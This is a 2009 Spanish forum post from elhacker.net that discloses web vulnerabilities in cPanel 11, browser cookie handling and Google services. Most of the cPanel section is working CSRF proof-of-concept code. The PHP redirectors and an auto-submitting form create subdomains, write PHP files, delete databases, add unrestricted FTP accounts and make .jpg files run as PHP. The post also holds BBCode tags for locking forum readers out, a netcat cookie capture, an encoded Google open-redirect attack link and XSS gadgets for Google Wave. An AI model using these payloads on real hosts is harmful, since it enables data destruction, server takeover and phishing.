Imprimir Página - Especial Navidad 2009

Especial Navidad 2009
Bugs y Exploits a nivel WEB

Indice

Auditoría de seguridad a cPanel 11
vulnerabilidad universal en exploradores WEB
Vulnerabilidad - OpenRedirect en Google utilizado para ocultar urls de atacantes
Vulnerabilidad - XSS en GModules afecta a GoogleWave, OpenSocial (hi5, linkedin, myspace), Google HomePage, sites.google.com, wiki.elhacker.net, labs.elhacker.net, groups.google.com, y cualquier sitio web que utilize los servicios de google en el cual incorporen GModules.

(http://www.webcomparte.com/archivos_publicos/imagenes/bugpanel.png)

Descripción:
cPanel (acrónimo de control Panel) es una herramienta de administración WEB administrar sitios de manera fácil. Actualmente es un sistema de pago y de código cerrado vulnerable a que cualquiera pueda encontrar bugs sin si quiera poder revisar su código fuente para que puedan ser reparadas oportunamente.
cPanel es uno de los sistemas mas utilizados en servidores de pago compartidos y resellers.
http://cpanel.demo.cpanel.net/login/?user=x3demob&pass=x3demob

Al ver que era un sistema tan utilizado pero a la ves tan descuidado en su seguridad me propuse comenzar esta auditoría de seguridad hacia cPanel 11 llamada "BugPanel 11".

[Round 1] Creación arbitraria de subdominios
Si vamos a nuestro cpanel e intentamos crear un nuevo subdominio podemos ver dos detalles.
El primer detalle es que podemos transformar nuestras peticiones POST en GET asi que basta pasar las variables via GET para crear nuestro subdominio.

Vamos a nuestro cPanel a la sección:
http://ejemplo.com:2082/frontend/x3/subdomain/index.html

Ahora si creamos un subdominiop nos enviará hacia una página para verificar que realmente se creará el subdominio y al hacer click en aceptar veremos que se ha creado nuestro subdominio pero entre que le das aceptar y crear el dominio aparece un enlace como este:
http://ejemplo.com:2082/frontend/x3/subdomain/doadddomain.html?domain=subdominio&rootdomain=ejemplo.com&dir=public_html%2Fsubdominio&go=Create

Con este enlace ya podemos darnos cuenta del segundo detalle el cual es que no lleva token ni verificación de referencia (aunque no serviría tampoco) ni nada que pueda evitar un ataque del tipo CSRF.

Por lo tanto un atacante puede facilmente crear un enlace, imagen o lo que sea lo cual el administrador de ese panel pueda ser redireccionado hacia dicha vulnerabilidad y crear de forma arbitraria subdominios y directorios tal como este script de ejemplo:

Código

<?php
/* Host vulnerable */
$dominio_vulnerable = 'ejemplo.com';
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$directorio_nuevo = 'cpwned';
$subdominio_nuevo = 'cpwned';
if($_SERVER['HTTP_REFERER']){
 
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/subdomain/doadddomain.html?domain='.
  urlencode($subdominio_nuevo).
  '&rootdomain='.
  urlencode($dominio_vulnerable).
  '&dir=public_html%2F'.
  urlencode($directorio_nuevo).
  '&go=Create'
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
?>

[Round 2] Creación arbitraria de archivos y código de ejecución arbitrario via PHP
Si vamos al administrador de archivos del cpanel encontraremos un hermoso filemanager en el cual nos permire observar todos los archivos del servidor, editar su contenido, borrarlos o cambiarles sus permisos.
Cuando va mos a la edición de un archivo y lo guardamos podremos darnos cuenta de que no envía token ni nada por lo tanto nuevamente nos damos cuenta que el filemanager contiene CSRF en modo POST.

Con estos datos ya podemos crear nuestra prueba de concepto:

Código

<?php
 
/* Datos del host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$archivo = 'cpwned.php';
$directorio = '/home/ejemplo/public_html/';
$payload = '<'.'?php phpinfo(); ?>';
 
?>
<html>
 <body>
  Muestra de ejemplo.
  <form method="post" action="<?php echo $cpanel_vulnerable; ?>frontend/x3/filemanager/savefile.html">
   <input type="hidden" name="doubledecode" value="1" />
   <input type="hidden" name="ufile" value="<?php echo $archivo; ?>" />
   <input type="hidden" name="file" value="<?php echo $archivo; ?>" />
   <input type="hidden" name="udir" value="<?php echo urldecode($directorio); ?>" />
   <input type="hidden" name="dir" value="<?php echo urlencode($directorio); ?>" />
   <input type="hidden" name="__cpanel__temp__charset__" value="us-ascii" />
   <input type="hidden" name="path" value="<?php echo urldecode($directorio).$archivo; ?>" />
   <input type="hidden" name="charset" value="us-ascii" />
   <input type="hidden" name="page" value="<?php echo urlencode($payload); ?>" />
  </form>
  <script>
   document.getElementsByTagName('form')[0].submit();
  </script>
 </body>
</html>

[Round 3] Eliminación arbitraria de bases de datos completas
Cuando vamos al gestor de bases de datos de MySQL:
http://www.ejemplo.com:2082/frontend/x3/sql/index.html

Podemos observar que al intentar eliminar una base de datos nos envía hacia una página que nos pregunta si realmente queremos eliminar nuestra base de datos, la sorpresa llega cuando vemos que el botón de aceptar nos lleva a un enlace sin protección ni token ni nada:
http://www.ejemplo.com:2082/frontend/x3/sql/deldb.html?db=ejemplo_basededatos

Llevandonos a la eliminación inminetne e irrecuperable de nuestra base de datos a menos que tengamos alguna backup por ahi.

Con esto ya podemos crear una prueba de cocepto donde un administrador puede ser redirigido desde alguna imagen, página, o lo que sea ejecutando esta acción de forma arbitraria:

Código

<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$base_de_datos = 'empresa_productos';
 
if($_SERVER['HTTP_REFERER']){
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/sql/deldb.html?db='.
  urlencode($base_de_datos)
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
?>

[Round 4] Creación arbitraria de cuentas FTP sin restricciones
Si vamos al gestor de cuentas FTP e intentamos crear una nueva cuenta sin restricciones podemos ver que pasa lo siguiente desde nuestro cliente de navegación hasta el servidor:

Código:

POST /frontend/x3/ftp/doaddftp.html HTTP/1.1

Host: www.ejemplo.com:2082
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com:2082/frontend/x3/ftp/accounts_pure-ftpd.html
Cookie: cookies
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Por lo tanto ya es evidente que no hay token y por lo tango podemos generar un CSRF pero si tomamos nuestras variables POST y las convertimos a GET vemos que funciona igual:
http://www.ejemplo.com:2082/frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Asi que con estos datos ya estamos listos para hacer la prueba de concepto:

Código

<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
 
if($_SERVER['HTTP_REFERER']){
 
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&'.
  'password2=cpwned&homedir=public_html%2F&quota=unlimited'.
  urlencode($base_de_datos)
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
/* Se creará una cuenta ftp con el usuario cpwned y password cpwned ilimitada */
 
?>

[Round 5] Modificación arbitraria de Mimetypes de Apache Server
Maaaaammmboo!! huuuh!!!
Cuando vamos a modificar un tipo de contenido desde el gestor de mimetypes de cPanel:
http://www.ejemplo.com:2082/frontend/x3/mime/mime.html

Podemos ver que cuando agregamos un tipo de extensión no nos solicita ningún tipo de protección para evitar acciones arbitrarias y ni si quiera pasa via POST sino que lo hace via GET directamente.

Cuando creamos una nueva extensión vemos algo como esto:
http://www.ejemplo.com:2082/frontend/x3/mime/addmime.html?mimet=application%2Fandrew-inset&ext=lol&submit=Add

Por lo tanto basta con que el administrador del cpanel vea este enlace para agregarle mimetypes a su servidor.
Que tal un mimetype de tipo ocet/stream a php para descargarlos en ves de ejecutarlos? o archivos jpg y zips que se ejecutan con el handle de php?

Prueba de concepto:

Código

<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$mimetype = 'application/x-httpd-php';
$extension = 'jpg';
 
if($_SERVER['HTTP_REFERER']){
 
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/mime/addmime.html?mimet='.
  urlencode($mimetype).
  '&ext='.
  urlencode($extension).
  '&submit=Add'
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
/* Ahora los archivos .jpg son ejecutables de php :D */
 
?>

[Round 6] Baneo arbitrario de visitantes al host
Cuando intentas ingresar a tu cpanel desde la pagina principal:
http://www.ejemplo.com:2082/

Y fallas mas de 10 veces te banea :o y lo gracioso es que no te banea de cPanel sino de todo el servidor por lo tanto no puedes ingresar ni a la página que está alojada ni al ssh ni a ninguna parte a menos que cambies de ip.

Acá hay dos problemas, el rpimero es que la autentificación también se hace via WWW-Authenticate de apache o sea envío de headers.
cPanel procesa ete tipo de login pero no verifica los 10 intentos asi que podemos enviar peticiones GET a una imagen o a alguna sección sin protección enviando contraseña tras contraseña hasta lograr ingresar.

El otro problema es que el sistema de baneo aparentemente solo sirve para banear a tus visitas xD ya que el login del formulario se envía mediante una petición POST al servidor pero si la transformas a GET puedes hacer logueos arbitrarios debido a que no hay token ni nada referencial que impida un ataque CSRF, asi que la url de login quedaría masomenos así:
http://ejemplo.com:2082/login/?user=d&pass=d

Basta que alguien vea 10 veces ese enlace para quedar fuera de combate, asi que esto mismo se puede aprovechar por ejemplo para ponertelo de firma redireccionando la url como si fuera una imagen y de esa forma baneas a todos los que vean tus post en un foro.

Prueba de concepto para código bbc:

Código:

[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]

Si usas tinyurl te ahorras carácteres y puedes ir mostrando de a 5 en 5 para banear cada dos visualizaciones o cada dos post tuyos que vean.

Actualmente hay muchos foros con cpanel al descubierto :p

Y bueno... en resumidas palabras todo cPanel contiene CSRF por lo tanto se puede ejecutar cualquier tipo de acción arbitraria siempre y cuando pertenezca al software nativo de cPanel, no así con softwares de terceros como phpmyadmin.
Además gracias a que cPanel es un software de código errado nadie puede hacer parches o soluciones asi que por lo tanto no hay solución mas que sentarse a mirar a las aves volar mientras tanto que medio internet es vulnerable y no todos los hosting se van a querer actualizar a menos que den con bombo y platillos el anuncio oficial desde cpanel diciendo que es vulnerable.

Recordar que para que estos tipos de ataques puedan ejecutarse el administrador debe estar logueado y visualizar tu archivo que lo redireccionará.

¿Que sucede si la conexión va via ssl? ¿lo detendrá la verificación de certificado?
No porque gracias a cPanel las instalaciones por defecto siempre se hacen en dos puertos que son el 2082 y 2083 el cual uno es sin y con ssl respectivamente asi que no sirve de nada el certificado de seguridad si eres atacado de esta forma, pero.... si estoy logueado en mi cpanel con ssl no debería cambiar mi cookie?
La respuesta es no ya que cPanel no fuerza una cookie segura al explorador por lo tanto tu cookie de cpanel la llevas a todas partes del servidor independiente si estas en el cpanel con o sin ssl o en tu foro o en tu blog, web, portal o lo que sea y con tu cookie llevas también tu sesión lista para ser robada, capturada o sniffeada.

Y ustedes dirán "Oh My God!!" debido a que deben ya haberse dado cuenta de un bug por defecto en los exploradores que ya voy a comentar a continuación.

Vulnerabilidad universal en exploradores WEB
(http://www.webcomparte.com/archivos_publicos/imagenes/navegadores.png)

Para poder comprobar antes de explicar lo que sucede voy a ingresar a mi gestor de bases de datos phpmyadmin:
http://127.0.0.1/phpmyadmin/
Ahora voy a mi administrador de servidor WebAdmin
http://127.0.0.1/:10000
Ahora me voy al foro:
http://127.0.0.1/smf/
Al blog
http://127.0.0.1/wordpress/

Ahora ejecuto en mi consola:

Código

yan@Lola:~/Escritorio$ sudo nc -vlp 99
[sudo] password for yan: 
listening on [any] 99 ...

Me hago una petición GET
http://127.0.0.1:99/

Y me encuentro con la sorpresa:

Código:

connect to [127.0.0.1] from localhost [127.0.0.1] 44829
GET / HTTP/1.1
Host: 127.0.0.1:99
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=xxxx; SMFCookie891=xxxx; cprelogin=no; cpsession=closed; 
testing=1; sid=000000; wp-settings-time-1=0000; wp-settings-1=xxxxxx; 
wordpress_test_cookie=WP+Cookie+check

Si nos damos cuenta me ha enviado la cookie de todos los siostemas webs que he visitado sin importar el puerto en que estaban.
Normalmente si un sistema WEB está en un puerto determinado debería conservar su privacidad de cookie y no compartirla con todos los demás sistemas alojados en los demas puertos.
En mi caso me puse a escucha en el puerto 99 y pude recibir todas las cookies pero... ¿que tan peligroso puede ser?

¿Que sucede cuando ingresamos al cPanel y luego vamos a nuestro foro o blog?
Lo que pasa es que la cookie del cPanel se va con nosotros :p y si la web o foro es vulnerable y alguien te ataca con XSS puede robar la cookie de tu cPanel y robar tu dominio o tu hosting completo, hacer redirecciones o transferir cuentas.

Lo que estamos haciendo es violar la privacidad de contenido del sistema WEB debido a que ningún explorador manipula las cookies discriminando puertos sino que solamente discrimina dominios , subdominios y rutas al tratarse del mismo servidor pero no puertos.

Vulnerabilidades en servicios de Google
(http://i.elhacker.net/i?i=vQXoCfPcu43yJyJwRGRqomVo)

[Round 1] OpenRedirect
Primero que nada vamos a ir directamente a la prueba de concepto:
http://www.google.com/url?q=http:///foro.elhacker.net/

Gracias a esta novedosa feature de google un atacante puede utilizar urls de google como servidor de redirección para ocultar referencias, ocultar enlaces dañinos y un sin fin de cosas.

El problema de esta vulnerabilidad está en que si ingresas una url normal de esta forma:
http://www.google.com/url?q=http://foro.elhacker.net/
entonces google te la rechaza pero si le das tres slashses google no la detecta como enlace válido y te valida la redirección.

(http://i.elhacker.net/i?i=kNx15QE-Ewgw8qjUsiFdzGVo)

Vamos a realizar una simulación de ataque hacia nuestro cpanel desde una url de google.

El atacante envía un enlace como mensaje de correo de google diciendo lo siguiente:
http://www.google.com/url?a=necesitamos_de_su_colaboracion_para_entrar_en_nuestro_comite&codigo_mensaje=&q=%68%74%74%70%3a%2f%2f%2f%77%77%77%2e%61%74%61%63%61%64%6f%2e%63%6f%6d%3a%32%30%38%32%2f%66%72%6f%6e%74%65%6e%64%2f%78%33%2f%73%71%6c%2f%64%65%6c%64%62%2e%68%74%6d%6c%3f%64%62%3d%65%6a%65%6d%70%6c%6f%5f%62%61%73%65%64%65%64%61%74%6f%73

Y el desprevenido administrador al darle click va a terminar borrando su base de datos de su sitio web :P

También puede ser utilizado por spammers debido a que las urls de google no son filtradas desde sistemas anti-spam y la url puede encodearse en urlencode

[Round 3] XSS en GModules afecta a GoogleWave
Hace tiempo habia visto que había la posibilidad de ejecutar código arbitrario en los módulos de gmodules de google pero hasta ese momento no había ningún servicio que pudiera comprometer una cuenta.
Al ingresar a GoogleWave pude ver que tienes la posibilidad de insertar módulos de gmodule dentro de waves y puedes enviarlos a amigos o contactos asi que probé enviar un módulo que pudiera ejecutar código arbitrario y resultó.

¿Como funciona?
http://www.google.com/ig
Esta es la web personalizada de google en el cual aparecen varios frames con funciones ya sean buscadores de wikipedia o relojes, calculadoras, etc. La gracia es que puedes crear tus propios módulos y agregarlos de forma arbitraria con un CSRF que tiene gmodules pero eso es otro tema xD.

Para crear nuestro propio módulo debemos hacerlo en formato XML de la siguiente forma:

Código

<?xml version="1.0" encoding="UTF-8"?>
<Module>
 <ModulePrefs
  title="__MSG_poctitle__"
  directory_title="__MSG_pocdirtitle__"
  title_url="http://foro.elhacker.net/"
  author="WHK"
  author_affiliation="ElHacker.NET"
  author_location="Chile, CL"
  author_email="www.kernel32@gmail.com"
  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  scrolling="false">
 </ModulePrefs>
 
 <Content type="html" view="canvas"><![CDATA[
  <script>
   alert('Ejecucion de codigo');
  </script>
 ]]></Content>
</Module>

Con esto ya tenemos un módulo, ahora lo subo a un servidor propio (en mi caso utilizo un servidor local) y quedaría así:
http://miip/gadget.xml

Con esto ya tengo mi módulo listo, ahora entro a GoogleWave y hago un nuevo Wave:
(http://www.webcomparte.com/archivos_publicos/imagenes/bugs/gadget_gwave.png)

Tal como se muestra en la imagen primero escribo lo que sea, luego lo selecciono y presiono los tres puntos que están al costado derecho y le doy en insertar módulo y le doy la url de mi gadget.

Ahora todo el que vea ese wave se le ejecutará mi código arbitrario pero como se encuentra dentro de un iframe no podemos tener acceso a la cookie pero si a algunos tokens y tienes la posibilidad de hacer redirecciones, mover la ventana y lo que se te ocurra.

(http://www.webcomparte.com/archivos_publicos/imagenes/bugs/gadget_gwave2.png)

Un ejemplo práctico es este módulo:

Código

<?xml version="1.0" encoding="UTF-8"?>
<Module>
 <ModulePrefs
  title="__MSG_poctitle__"
  directory_title="__MSG_pocdirtitle__"
  title_url="http://foro.elhacker.net/"
  author="WHK"
  author_affiliation="ElHacker.NET"
  author_location="Chile, CL"
  author_email="www.kernel32@gmail.com"
  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  scrolling="false">
 </ModulePrefs>
 
 <Content type="html" view="canvas"><![CDATA[
  <script>
   top.location.href = 'http://foro.elhacker.net/';
  </script>
 ]]></Content>
 
</Module>

Con esto un atacante podría redireccionar a una victima hacia un phishing o web fraudulenta y solicitar datos como el acceso de su cuenta.

También hay una referencia similar que acabo de ver xD que habla sobre este mismo tema sobre GModules:
http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is-expected-behavior/

Y acá un poco de documentación al respecto de este tipo de ataques:
http://www.google.com/search?q=tactical+exploitation

Actualmente Google concuerda que esto es una feature o sea algo que debe estar así y así lo dicta también el standard de protección el cual permite este tipo de redireccionamientos.
También se puede aplicar este tipo de ataque a cualquier sitio WEB que utilize algún servicio de google que permita GModules o que por lo menos permita frames con código modificable por terceros en los cuales se permita código ejecutable por el cliente.

Los xss y el robo de cookies son un standard hoy en dia y están dentro del saco de las features de la internerd.

Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: WHK en 20 Noviembre 2009, 23:27 pm